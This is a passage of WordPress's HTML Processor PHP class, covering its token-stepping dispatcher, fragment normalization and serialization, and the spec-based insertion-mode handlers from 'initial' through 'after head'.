		if ( self::PROCESS_NEXT_NODE === $node_to_process ) {
			parent::next_token();
			if ( WP_HTML_Tag_Processor::STATE_TEXT_NODE === $this->parser_state ) {
				parent::subdivide_text_appropriately();
			}
		}

		// Finish stepping when there are no more tokens in the document.
		if (
			WP_HTML_Tag_Processor::STATE_INCOMPLETE_INPUT === $this->parser_state ||
			WP_HTML_Tag_Processor::STATE_COMPLETE === $this->parser_state
		) {
			return false;
		}

		$adjusted_current_node = $this->get_adjusted_current_node();
		$is_closer             = $this->is_tag_closer();
		$is_start_tag          = WP_HTML_Tag_Processor::STATE_MATCHED_TAG === $this->parser_state && ! $is_closer;
		$token_name            = $this->get_token_name();

		if ( self::REPROCESS_CURRENT_NODE !== $node_to_process ) {
			$this->state->current_token = new WP_HTML_Token(
				$this->bookmark_token(),
				$token_name,
				$this->has_self_closing_flag(),
				$this->release_internal_bookmark_on_destruct
			);
		}

		$parse_in_current_insertion_mode = (
			0 === $this->state->stack_of_open_elements->count() ||
			'html' === $adjusted_current_node->namespace ||
			(
				'math' === $adjusted_current_node->integration_node_type &&
				(
					( $is_start_tag && ! in_array( $token_name, array( 'MGLYPH', 'MALIGNMARK' ), true ) ) ||
					'#text' === $token_name
				)
			) ||
			(
				'math' === $adjusted_current_node->namespace &&
				'ANNOTATION-XML' === $adjusted_current_node->node_name &&
				$is_start_tag && 'SVG' === $token_name
			) ||
			(
				'html' === $adjusted_current_node->integration_node_type &&
				( $is_start_tag || '#text' === $token_name )
			)
		);

		try {
			if ( ! $parse_in_current_insertion_mode ) {
				return $this->step_in_foreign_content();
			}

			switch ( $this->state->insertion_mode ) {
				case WP_HTML_Processor_State::INSERTION_MODE_INITIAL:
					return $this->step_initial();

				case WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HTML:
					return $this->step_before_html();

				case WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HEAD:
					return $this->step_before_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD:
					return $this->step_in_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD_NOSCRIPT:
					return $this->step_in_head_noscript();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_HEAD:
					return $this->step_after_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_BODY:
					return $this->step_in_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE:
					return $this->step_in_table();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_TEXT:
					return $this->step_in_table_text();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_CAPTION:
					return $this->step_in_caption();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP:
					return $this->step_in_column_group();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY:
					return $this->step_in_table_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_ROW:
					return $this->step_in_row();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_CELL:
					return $this->step_in_cell();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT:
					return $this->step_in_select();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT_IN_TABLE:
					return $this->step_in_select_in_table();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE:
					return $this->step_in_template();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_BODY:
					return $this->step_after_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_FRAMESET:
					return $this->step_in_frameset();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_FRAMESET:
					return $this->step_after_frameset();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_BODY:
					return $this->step_after_after_body();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_FRAMESET:
					return $this->step_after_after_frameset();

				// This should be unreachable but PHP doesn't have total type checking on switch.
				default:
					$this->bail( "Unaware of the requested parsing mode: '{$this->state->insertion_mode}'." );
			}
		} catch ( WP_HTML_Unsupported_Exception $e ) {
			/*
			 * Exceptions are used in this class to escape deep call stacks that
			 * otherwise might involve messier calling and return conventions.
			 */
			return false;
		}
	}

	/**
	 * Computes the HTML breadcrumbs for the currently-matched node, if matched.
	 *
	 * Breadcrumbs start at the outermost parent and descend toward the matched element.
	 * They always include the entire path from the root HTML node to the matched element.
	 *
	 * Example:
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<p><strong><em><img></em></strong></p>' );
	 *     $processor->next_tag( 'IMG' );
	 *     $processor->get_breadcrumbs() === array( 'HTML', 'BODY', 'P', 'STRONG', 'EM', 'IMG' );
	 *
	 * @since 6.4.0
	 *
	 * @return string[] Array of tag names representing path to matched node.
	 */
	public function get_breadcrumbs(): array {
		return $this->breadcrumbs;
	}

	/**
	 * Returns the nesting depth of the current location in the document.
	 *
	 * Example:
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<div><p></p></div>' );
	 *     // The processor starts in the BODY context, meaning it has depth from the start: HTML > BODY.
	 *     2 === $processor->get_current_depth();
	 *
	 *     // Opening the DIV element increases the depth.
	 *     $processor->next_token();
	 *     3 === $processor->get_current_depth();
	 *
	 *     // Opening the P element increases the depth.
	 *     $processor->next_token();
	 *     4 === $processor->get_current_depth();
	 *
	 *     // The P element is closed during `next_token()` so the depth is decreased to reflect that.
	 *     $processor->next_token();
	 *     3 === $processor->get_current_depth();
	 *
	 * @since 6.6.0
	 *
	 * @return int Nesting-depth of current location in the document.
	 */
	public function get_current_depth(): int {
		return count( $this->breadcrumbs );
	}

	/**
	 * Normalizes an HTML fragment by serializing it.
	 *
	 * This method assumes that the given HTML snippet is found in BODY context.
	 * For normalizing full documents or fragments found in other contexts, create
	 * a new processor using {@see WP_HTML_Processor::create_fragment} or
	 * {@see WP_HTML_Processor::create_full_parser} and call {@see WP_HTML_Processor::serialize}
	 * on the created instances.
	 *
	 * Many aspects of an input HTML fragment may be changed during normalization.
	 *
	 *  - Attribute values will be double-quoted.
	 *  - Duplicate attributes will be removed.
	 *  - Omitted tags will be added.
	 *  - Tag and attribute name casing will be lower-cased,
	 *    except for specific SVG and MathML tags or attributes.
	 *  - Text will be re-encoded, null bytes handled,
	 *    and invalid UTF-8 replaced with U+FFFD.
	 *  - Any incomplete syntax trailing at the end will be omitted,
	 *    for example, an unclosed comment opener will be removed.
	 *
	 * Example:
	 *
	 *     echo WP_HTML_Processor::normalize( '<a href=#anchor v=5 href="/" enabled>One</a another v=5><!--' );
	 *     // <a href="#anchor" v="5" enabled>One</a>
	 *
	 *     echo WP_HTML_Processor::normalize( '<div></p>fun<table><td>cell</div>' );
	 *     // <div><p></p>fun<table><tbody><tr><td>cell</td></tr></tbody></table></div>
	 *
	 *     echo WP_HTML_Processor::normalize( '<![CDATA[invalid comment]]> syntax < <> "oddities"' );
	 *     // <!--[CDATA[invalid comment]]--> syntax &lt; &lt;&gt; &quot;oddities&quot;
	 *
	 * @since 6.7.0
	 *
	 * @param string $html Input HTML to normalize.
	 *
	 * @return string|null Normalized output, or `null` if unable to normalize.
	 */
	public static function normalize( string $html ): ?string {
		return static::create_fragment( $html )->serialize();
	}

	/**
	 * Returns normalized HTML for a fragment by serializing it.
	 *
	 * This differs from {@see WP_HTML_Processor::normalize} in that it starts with
	 * a specific HTML Processor, which _must_ not have already started scanning;
	 * it must be in the initial ready state and will be in the completed state once
	 * serialization is complete.
	 *
	 * Many aspects of an input HTML fragment may be changed during normalization.
	 *
	 *  - Attribute values will be double-quoted.
	 *  - Duplicate attributes will be removed.
	 *  - Omitted tags will be added.
	 *  - Tag and attribute name casing will be lower-cased,
	 *    except for specific SVG and MathML tags or attributes.
	 *  - Text will be re-encoded, null bytes handled,
	 *    and invalid UTF-8 replaced with U+FFFD.
	 *  - Any incomplete syntax trailing at the end will be omitted,
	 *    for example, an unclosed comment opener will be removed.
	 *
	 * Example:
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<a href=#anchor v=5 href="/" enabled>One</a another v=5><!--' );
	 *     echo $processor->serialize();
	 *     // <a href="#anchor" v="5" enabled>One</a>
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<div></p>fun<table><td>cell</div>' );
	 *     echo $processor->serialize();
	 *     // <div><p></p>fun<table><tbody><tr><td>cell</td></tr></tbody></table></div>
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<![CDATA[invalid comment]]> syntax < <> "oddities"' );
	 *     echo $processor->serialize();
	 *     // <!--[CDATA[invalid comment]]--> syntax &lt; &lt;&gt; &quot;oddities&quot;
	 *
	 * @since 6.7.0
	 *
	 * @return string|null Normalized HTML markup represented by processor,
	 *                     or `null` if unable to generate serialization.
	 */
	public function serialize(): ?string {
		if ( WP_HTML_Tag_Processor::STATE_READY !== $this->parser_state ) {
			wp_trigger_error(
				__METHOD__,
				'An HTML Processor which has already started processing cannot serialize its contents. Serialize immediately after creating the instance.',
				E_USER_WARNING
			);
			return null;
		}

		$html = '';
		while ( $this->next_token() ) {
			$html .= $this->serialize_token();
		}

		if ( null !== $this->get_last_error() ) {
			wp_trigger_error(
				__METHOD__,
				"Cannot serialize HTML Processor with parsing error: {$this->get_last_error()}.",
				E_USER_WARNING
			);
			return null;
		}

		return $html;
	}

	/**
	 * Serializes the currently-matched token.
	 *
	 * This method produces a fully-normative HTML string for the currently-matched token,
	 * if able. If not matched at any token or if the token doesn't correspond to any HTML
	 * it will return an empty string (for example, presumptuous end tags are ignored).
	 *
	 * @see static::serialize()
	 *
	 * @since 6.7.0
	 * @since 6.9.0 Converted from protected to public method.
	 *
	 * @return string Serialization of token, or empty string if no serialization exists.
	 */
	public function serialize_token(): string {
		$html       = '';
		$token_type = $this->get_token_type();

		switch ( $token_type ) {
			case '#doctype':
				$doctype = $this->get_doctype_info();
				if ( null === $doctype ) {
					break;
				}

				$html .= '<!DOCTYPE';

				if ( $doctype->name ) {
					$html .= " {$doctype->name}";
				}

				if ( null !== $doctype->public_identifier ) {
					$quote = str_contains( $doctype->public_identifier, '"' ) ? "'" : '"';
					$html .= " PUBLIC {$quote}{$doctype->public_identifier}{$quote}";
				}
				if ( null !== $doctype->system_identifier ) {
					if ( null === $doctype->public_identifier ) {
						$html .= ' SYSTEM';
					}
					$quote = str_contains( $doctype->system_identifier, '"' ) ? "'" : '"';
					$html .= " {$quote}{$doctype->system_identifier}{$quote}";
				}

				$html .= '>';
				break;

			case '#text':
				$html .= htmlspecialchars( $this->get_modifiable_text(), ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, 'UTF-8' );
				break;

			// Unlike the `<>` which is interpreted as plaintext, this is ignored entirely.
			case '#presumptuous-tag':
				break;

			case '#funky-comment':
			case '#comment':
				$html .= "<!--{$this->get_full_comment_text()}-->";
				break;

			case '#cdata-section':
				$html .= "<![CDATA[{$this->get_modifiable_text()}]]>";
				break;
		}

		if ( '#tag' !== $token_type ) {
			return $html;
		}

		$tag_name       = str_replace( "\x00", "\u{FFFD}", $this->get_tag() );
		$in_html        = 'html' === $this->get_namespace();
		$qualified_name = $in_html ? strtolower( $tag_name ) : $this->get_qualified_tag_name();

		if ( $this->is_tag_closer() ) {
			$html .= "</{$qualified_name}>";
			return $html;
		}

		$attribute_names = $this->get_attribute_names_with_prefix( '' );
		if ( ! isset( $attribute_names ) ) {
			$html .= "<{$qualified_name}>";
			return $html;
		}

		$html .= "<{$qualified_name}";
		foreach ( $attribute_names as $attribute_name ) {
			$html .= " {$this->get_qualified_attribute_name( $attribute_name )}";
			$value = $this->get_attribute( $attribute_name );

			if ( is_string( $value ) ) {
				$html .= '="' . htmlspecialchars( $value, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5 ) . '"';
			}

			$html = str_replace( "\x00", "\u{FFFD}", $html );
		}

		if ( ! $in_html && $this->has_self_closing_flag() ) {
			$html .= ' /';
		}

		$html .= '>';

		// Flush out self-contained elements.
		if ( $in_html && in_array( $tag_name, array( 'IFRAME', 'NOEMBED', 'NOFRAMES', 'SCRIPT', 'STYLE', 'TEXTAREA', 'TITLE', 'XMP' ), true ) ) {
			$text = $this->get_modifiable_text();

			switch ( $tag_name ) {
				case 'IFRAME':
				case 'NOEMBED':
				case 'NOFRAMES':
					$text = '';
					break;

				case 'SCRIPT':
				case 'STYLE':
					break;

				default:
					$text = htmlspecialchars( $text, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, 'UTF-8' );
			}

			$html .= "{$text}</{$qualified_name}>";
		}

		return $html;
	}

	/**
	 * Parses next element in the 'initial' insertion mode.
	 *
	 * This internal function performs the 'initial' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-initial-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_initial(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION,
			 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
			 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 *
			 * Parse error: ignore the token.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step();
				}
				goto initial_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				$doctype = $this->get_doctype_info();
				if ( null !== $doctype && 'quirks' === $doctype->indicated_compatibility_mode ) {
					$this->compat_mode = WP_HTML_Tag_Processor::QUIRKS_MODE;
				}

				/*
				 * > Then, switch the insertion mode to "before html".
				 */
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HTML;
				$this->insert_html_element( $this->state->current_token );
				return true;
		}

		/*
		 * > Anything else
		 */
		initial_anything_else:
		$this->compat_mode           = WP_HTML_Tag_Processor::QUIRKS_MODE;
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HTML;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'before html' insertion mode.
	 *
	 * This internal function performs the 'before html' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-before-html-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_before_html(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = parent::is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION,
			 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
			 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 *
			 * Parse error: ignore the token.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step();
				}
				goto before_html_anything_else;
				break;

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HEAD;
				return true;

			/*
			 * > An end tag whose tag name is one of: "head", "body", "html", "br"
			 *
			 * Closing BR tags are always reported by the Tag Processor as opening tags.
			 */
			case '-HEAD':
			case '-BODY':
			case '-HTML':
				/*
				 * > Act as described in the "anything else" entry below.
				 */
				goto before_html_anything_else;
				break;
		}

		/*
		 * > Any other end tag
		 */
		if ( $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > Anything else.
		 *
		 * > Create an html element whose node document is the Document object.
		 * > Append it to the Document object. Put this element in the stack of open elements.
		 * > Switch the insertion mode to "before head", then reprocess the token.
		 */
		before_html_anything_else:
		$this->insert_virtual_node( 'HTML' );
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HEAD;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'before head' insertion mode.
	 *
	 * This internal function performs the 'before head' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-before-head-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_before_head(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = parent::is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION,
			 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
			 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 *
			 * Parse error: ignore the token.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step();
				}
				goto before_head_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is "head"
			 */
			case '+HEAD':
				$this->insert_html_element( $this->state->current_token );
				$this->state->head_element   = $this->state->current_token;
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD;
				return true;

			/*
			 * > An end tag whose tag name is one of: "head", "body", "html", "br"
			 * > Act as described in the "anything else" entry below.
			 *
			 * Closing BR tags are always reported by the Tag Processor as opening tags.
			 */
			case '-HEAD':
			case '-BODY':
			case '-HTML':
				goto before_head_anything_else;
				break;
		}

		if ( $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > Anything else
		 *
		 * > Insert an HTML element for a "head" start tag token with no attributes.
		 */
		before_head_anything_else:
		$this->state->head_element   = $this->insert_virtual_node( 'HEAD' );
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'in head' insertion mode.
	 *
	 * This internal function performs the 'in head' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#parsing-main-inhead
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_head(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = parent::is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			case '#text':
				/*
				 * > A character token that is one of U+0009 CHARACTER TABULATION,
				 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
				 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
				 */
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					// Insert the character.
					$this->insert_html_element( $this->state->current_token );
					return true;
				}

				goto in_head_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is one of: "base", "basefont", "bgsound", "link"
			 */
			case '+BASE':
			case '+BASEFONT':
			case '+BGSOUND':
			case '+LINK':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "meta"
			 */
			case '+META':
				$this->insert_html_element( $this->state->current_token );

				// All following conditions depend on "tentative" encoding confidence.
				if ( 'tentative' !== $this->state->encoding_confidence ) {
					return true;
				}

				/*
				 * > If the active speculative HTML parser is null, then:
				 * >   - If the element has a charset attribute, and getting an encoding from
				 * >     its value results in an encoding, and the confidence is currently
				 * >     tentative, then change the encoding to the resulting encoding.
				 */
				$charset = $this->get_attribute( 'charset' );
				if ( is_string( $charset ) ) {
					$this->bail( 'Cannot yet process META tags with charset to determine encoding.' );
				}

				/*
				 * >   - Otherwise, if the element has an http-equiv attribute whose value is
				 * >     an ASCII case-insensitive match for the string "Content-Type", and
				 * >     the element has a content attribute, and applying the algorithm for
				 * >     extracting a character encoding from a meta element to that attribute's
				 * >     value returns an encoding, and the confidence is currently tentative,
				 * >     then change the encoding to the extracted encoding.
				 */
				$http_equiv = $this->get_attribute( 'http-equiv' );
				$content    = $this->get_attribute( 'content' );
				if (
					is_string( $http_equiv ) &&
					is_string( $content ) &&
					0 === strcasecmp( $http_equiv, 'Content-Type' )
				) {
					$this->bail( 'Cannot yet process META tags with http-equiv Content-Type to determine encoding.' );
				}

				return true;

			/*
			 * > A start tag whose tag name is "title"
			 */
			case '+TITLE':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "noscript", if the scripting flag is enabled
			 * > A start tag whose tag name is one of: "noframes", "style"
			 *
			 * The scripting flag is never enabled in this parser.
			 */
			case '+NOFRAMES':
			case '+STYLE':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "noscript", if the scripting flag is disabled
			 */
			case '+NOSCRIPT':
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD_NOSCRIPT;
				return true;

			/*
			 * > A start tag whose tag name is "script"
			 *
			 * @todo Could the adjusted insertion location be anything other than the current location?
			 */
			case '+SCRIPT':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > An end tag whose tag name is "head"
			 */
			case '-HEAD':
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_HEAD;
				return true;

			/*
			 * > An end tag whose tag name is one of: "body", "html", "br"
			 *
			 * BR tags are always reported by the Tag Processor as opening tags.
			 */
			case '-BODY':
			case '-HTML':
				/*
				 * > Act as described in the "anything else" entry below.
				 */
				goto in_head_anything_else;
				break;

			/*
			 * > A start tag whose tag name is "template"
			 *
			 * @todo Could the adjusted insertion location be anything other than the current location?
			 */
			case '+TEMPLATE':
				$this->state->active_formatting_elements->insert_marker();
				$this->state->frameset_ok = false;

				$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE;
				$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE;

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > An end tag whose tag name is "template"
			 */
			case '-TEMPLATE':
				if ( ! $this->state->stack_of_open_elements->contains( 'TEMPLATE' ) ) {
					// @todo Indicate a parse error once it's possible.
					return $this->step();
				}

				$this->generate_implied_end_tags_thoroughly();
				if ( ! $this->state->stack_of_open_elements->current_node_is( 'TEMPLATE' ) ) {
					// @todo Indicate a parse error once it's possible.
				}

				$this->state->stack_of_open_elements->pop_until( 'TEMPLATE' );
				$this->state->active_formatting_elements->clear_up_to_last_marker();
				array_pop( $this->state->stack_of_template_insertion_modes );
				$this->reset_insertion_mode_appropriately();
				return true;
		}

		/*
		 * > A start tag whose tag name is "head"
		 * > Any other end tag
		 */
		if ( '+HEAD' === $op || $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > Anything else
		 */
		in_head_anything_else:
		$this->state->stack_of_open_elements->pop();
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_HEAD;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'in head noscript' insertion mode.
	 *
	 * This internal function performs the 'in head noscript' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inheadnoscript
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_head_noscript(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = parent::is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION,
			 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
			 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 *
			 * Parse error: ignore the token.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_head();
				}

				goto in_head_noscript_anything_else;
				break;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > An end tag whose tag name is "noscript"
			 */
			case '-NOSCRIPT':
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD;
				return true;

			/*
			 * > A comment token
			 * >
			 * > A start tag whose tag name is one of: "basefont", "bgsound",
			 * > "link", "meta", "noframes", "style"
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
			case '+BASEFONT':
			case '+BGSOUND':
			case '+LINK':
			case '+META':
			case '+NOFRAMES':
			case '+STYLE':
				return $this->step_in_head();

			/*
			 * > An end tag whose tag name is "br"
			 *
			 * This should never happen, as the Tag Processor prevents showing a BR closing tag.
			 */
		}

		/*
		 * > A start tag whose tag name is one of: "head", "noscript"
		 * > Any other end tag
		 */
		if ( '+HEAD' === $op || '+NOSCRIPT' === $op || $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > Anything else
		 *
		 * Anything here is a parse error.
		 */
		in_head_noscript_anything_else:
		$this->state->stack_of_open_elements->pop();
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'after head' insertion mode.
	 *
	 * This internal function performs the 'after head' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-after-head-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_after_head(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = parent::is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION,
			 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
			 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					// Insert the character.
					$this->insert_html_element( $this->state->current_token );
					return true;
				}
				goto after_head_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is "body"
			 */
			case '+BODY':
				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok    = false;
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
				return true;

			/*
			 * > A start tag whose tag name is "frameset"
			 */
			case '+FRAMESET':
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_FRAMESET;
				return true;

			/*
			 * > A start tag whose tag name is one of: "base", "basefont", "bgsound",
			 * > "link", "meta", "noframes", "script", "style", "template", "title"
			 *
			 * Anything here is a parse error.
			 */
			case '+BASE':
			case '+BASEFONT':
			case '+BGSOUND':
			case '+LINK':
			case '+META':
			case '+NOFRAMES':
			case '+SCRIPT':
			case '+STYLE':
			case '+TEMPLATE':
			case '+TITLE':
